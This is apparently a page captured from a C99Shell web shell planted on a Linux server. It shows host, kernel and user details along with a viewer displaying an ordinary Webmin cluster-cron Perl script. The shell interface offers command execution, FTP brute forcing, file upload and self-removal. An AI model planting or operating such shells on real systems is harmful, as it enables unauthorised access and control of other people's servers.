!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/cluster-cron/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     save.cgi (1.82 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save.cgi
# Save an existing cluster cron job, or create a new one

require './cluster-cron-lib.pl';
&error_setup($text{'save_err'});
&ReadParse();

if ($in{'exec'}) {
    &redirect("exec.cgi?id=".&urlize($in{'id'}));
    return;
    }
elsif ($in{'delete'}) {
    &redirect("delete.cgi?id=".&urlize($in{'id'}));
    return;
    }

@jobs = &list_cluster_jobs();
if ($in{'new'}) {
    $job = { 'type' => 0,
         'cluster_id' => time()."-".$$ };
    }
else {
    ($oldjob) = grep { $_->{'cluster_id'} eq $in{'id'} } @jobs;
    $job->{'cluster_id'} = $oldjob->{'cluster_id'};
    $job->{'type'} = $oldjob->{'type'};
    $job->{'file'} = $oldjob->{'file'};
    $job->{'line'} = $oldjob->{'line'};
    $job->{'nolog'} = $oldjob->{'nolog'};
    }

# Check and parse inputs
if ($in{"cmd"} !~ /\S/) {
    &error($cron::text{'save_ecmd'});
    }
if (!$in{'user'}) {
    &error($cron::text{'save_euser'});
    }
&cron::parse_times_input($job, \%in);
$in{input} =~ s/\r//g; $in{input} =~ s/%/\\%/g;
$in{cmd} =~ s/%/\\%/g;
$job->{'active'} = $in{'active'};
$job->{'cluster_command'} = $in{'cmd'};
if ($in{input} =~ /\S/) {
    @inlines = split(/\n/ , $in{input});
    $job->{'cluster_input'} .= join('%' , @inlines);
    }
$job->{'command'} = "$cluster_cron_cmd $job->{'cluster_id'}";
$job->{'cluster_user'} = $in{'user'};
$job->{'user'} = 'root';
$job->{'cluster_server'} = join(" ", split(/\0/, $in{'server'}));

# Make sure the wrapper script exists
if (!-r $cluster_cron_cmd) {
    &lock_file($cluster_cron_cmd);
    &cron::create_wrapper($cluster_cron_cmd, $module_name, "cron.pl");
    &unlock_file($cluster_cron_cmd);
    }

if (!$in{'new'}) {
    # Editing an existing job
    &modify_cluster_job($job);
    }
else {
    # Creating a new job
    &create_cluster_job($job);
    }

if ($in{'new'}) {
    &webmin_log("create", "cron", $job->{'cluster_user'}, $job);
    }
else {
    &webmin_log("modify", "cron", $job->{'cluster_user'}, $job);
    }
&redirect("");



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--